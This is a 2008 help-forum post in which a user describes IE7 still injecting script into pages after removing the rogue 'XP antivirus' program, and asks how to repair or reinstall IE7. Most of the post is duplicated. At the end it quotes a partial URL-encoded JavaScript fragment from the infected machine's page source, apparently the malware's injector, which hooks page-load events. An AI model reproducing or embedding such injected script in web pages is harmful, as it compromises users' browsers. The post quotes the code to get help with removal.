ynot2k
Topic Starter
So i manually removed XP antivirus from a machine in our network. Was able to remove it completely with the help of HJT. i ran Malwarebytes' Anti-Malware after removing it and turned up nothing.
However, at this point the IE7 is pooched. it seems there is a rogue dll or something in there that is injecting downloaded web pages with some script code that is making it very difficult to use IE - rendering some pages useless. For the time being, i have switched the user to FFX, but as requested would love to restore IE7. I did do a reset in the advanced tab of internet options, but that didn't help. i updated to SP3 but that didn't help either. at this point i am considering updating to IE8beta (and possibly back down to ie7) to see if that fixes it.
I've gone through the list of Add-Ons and nothing looks fishy to me. Moreover, i would love to go into Add/Remove programs and uninstall ie7 & reinstall it, but that option is not there. As i am remote, i would also love to be able to fix this without going into recovery console as that would mean i would need to go on-site.
Would downloading the IE7 distributable be a good idea?
Any other suggestions? I am happy to post any current HJT logs and or random logs… Below is the comparison of a very simple web page and how the script is being injected.
Thanks in advance.
ynot2k
SIMPLE WEBPAGE RETURNED NORMALLY FROM A VIEW SOURCE OF NON-INFECTED MACHINE:
SAME VIEW SOURCE FROM INFECTED MACHINE (line breaks included):
However, at this point the IE7 is pooched. it seems there is a rogue dll or something in there that is injecting downloaded web pages with some script code that is making it very difficult to use IE - rendering some pages useless. For the time being, i have switched the user to FFX, but as requested would love to restore IE7. I did do a reset in the advanced tab of internet options, but that didn't help. i updated to SP3 but that didn't help either. at this point i am considering updating to IE8beta (and possibly back down to ie7) to see if that fixes it.
I've gone through the list of Add-Ons and nothing looks fishy to me. Moreover, i would love to go into Add/Remove programs and uninstall ie7 & reinstall it, but that option is not there. As i am remote, i would also love to be able to fix this without going into recovery console as that would mean i would need to go on-site.
Would downloading the IE7 distributable be a good idea?
Any other suggestions? I am happy to post any current HJT logs and or random logs… Below is the comparison of a very simple web page and how the script is being injected.
Thanks in advance.
ynot2k
SIMPLE WEBPAGE RETURNED NORMALLY FROM A VIEW SOURCE OF NON-INFECTED MACHINE:
Your IP Your IP address is: xxx.xxx.xxx.xxx
Current Time: Thursday, September 04, 2008 10:09:40 AM
SAME VIEW SOURCE FROM INFECTED MACHINE (line breaks included):
0D%0Adocument.addEventListener%28%22DOMContentLoaded%22%2Ci%2Cfalse%29%3B%20%7D%20else%20if%28e%29%7B%20%20%20%20%20%28%0D%0Afunction%28%29%7Bvar%20t%3Ddocument.createElement%28%27doc%3Ardy%27%29%3Btry%7Bt.doScroll%28%27left%27%29%3B%0D%0Ai%28%29%3Bt%3Dnull%3B%7Dcatch%28e%29%7Bst%28arguments.callee%2C0%29%3B%7D%7D%29%28%29%3B%7Delse%7Bwindow.onload%3Di%3B%7D%7D%29%28init_b216dvsa6v%29%3B')) Your IP Your IP address is: [removed]
Current Time: Thursday, September 04, 2008 10:12:04 AM
